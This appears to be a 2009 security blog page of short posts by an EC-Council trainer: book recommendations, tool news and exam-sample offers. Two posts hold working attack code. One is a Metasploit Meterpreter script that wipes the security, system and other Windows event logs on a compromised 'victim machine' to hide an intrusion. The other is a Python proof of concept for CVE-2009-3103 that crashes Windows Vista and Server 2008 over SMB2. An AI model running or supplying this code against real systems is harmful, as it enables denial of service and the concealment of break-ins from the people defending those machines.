New Security Books - Recommended by Me!

Check this out:

Nmap Network Scanning
http://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717/ref=sr_1_1?ie=UTF8&s=books&qid=1257826537&sr=8-1

Professional Penetration Tester
http://www.amazon.com/Professional-Penetration-Testing-Creating-Operating/dp/1597494259/ref=sr_1_1?ie=UTF8&s=books&qid=1257826622&sr=1-1

I have read these books and I found that they have discussed lot of interesting topics. Must have for Security Professionals.

For DVD contents, please email me.

Metasploit Framework 3.x Meterpreter Script

In the last step of Hacking, we know that we need to "clear the tracks" or known as "housekeeping". If you use meterpreter payload, you could run this script to clear the logs on the victim machine:

ClearLogs.rb

# Clears Windows Event Logs

evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
puts ("Clearing Event Logs, this will leave an event 517")
evtlogs.each do |evl|
puts ("Clearing the #{evl} Event Log")
log = client.sys.eventlog.open(evl)
log.clear
end
puts ("All Clear! You are a Ninja!")

Save it and call it within the meterpreter.

meterpreter > run clearlogs

and Bingo! all logs are cleared...

Immunity Debugger

Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing, the industry's first heap analysis tool built specifically for heap creation, and a large and well supported Python API for easy extensibility.

- A debugger with functionality designed specifically for the security industry
- Cuts exploit development time by 50%
- Simple, understandable interfaces
- Robust and powerful scripting language for automating intelligent debugging
- Lightweight and fast debugging to prevent corruption during complex analysis
- Connectivity to fuzzers and exploit development tools

Check it out:
http://www.immunityinc.com/products-immdbg.shtml

It's Free!!!

Vulnerabilities in SMB Could Allow Remote Code Execution

Check this out:
http://www.microsoft.com/technet/security/advisory/975497.mspx
and this...
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103

Credit: http://g-laurent.blogspot.com/

I have personally tested with Windows Vista SP2 and Windows Server 2008 SP2.
All worked fine...

It's actually caused by the SRV2.SYS driver used by Vista, Windows Server 2008 and Windows 7 RC. It does not seem to effect Windows Server 2003, Windows XP and Windows 2000.

PoC:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445

buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Vmware Virtual Machine Image Files Unauthorized Usage

For those who use the CEH/ECSA/LPT and CHFI Vmware virtual machine image files "Created by Semi", please do not hesitate to inform me as I'm tracking the usage of those files. Any illegal or unauthorized usage detected should not be tolerate as I was creating them for the purpose of my delivery in EC-Council security related courses/training.

- Semi

Sample EC-Council Exam Questions

Those who would like to get some samples of the EC-Council exam questions (with answers) can request directly to me. Just email me and get a free samples of CEH, CHFI, EDRP and ECSA questions and answers for your practice or exercise purposes.

- Semi

Nmap 5.0 Released

Nmap by Fyodor is one of my favourites Hacking and Penetration Tools, besides hping2, scanline, unicorn scan and xprobe2.

Recently the latest Nmap 5.0 has just released by insecure.org. It has more than 600 significant changes. The top 5 improvement in Nmap includes: Ncat, Ndiff and NSE.

For more info, refer to: http://www.insecure.org

- Semi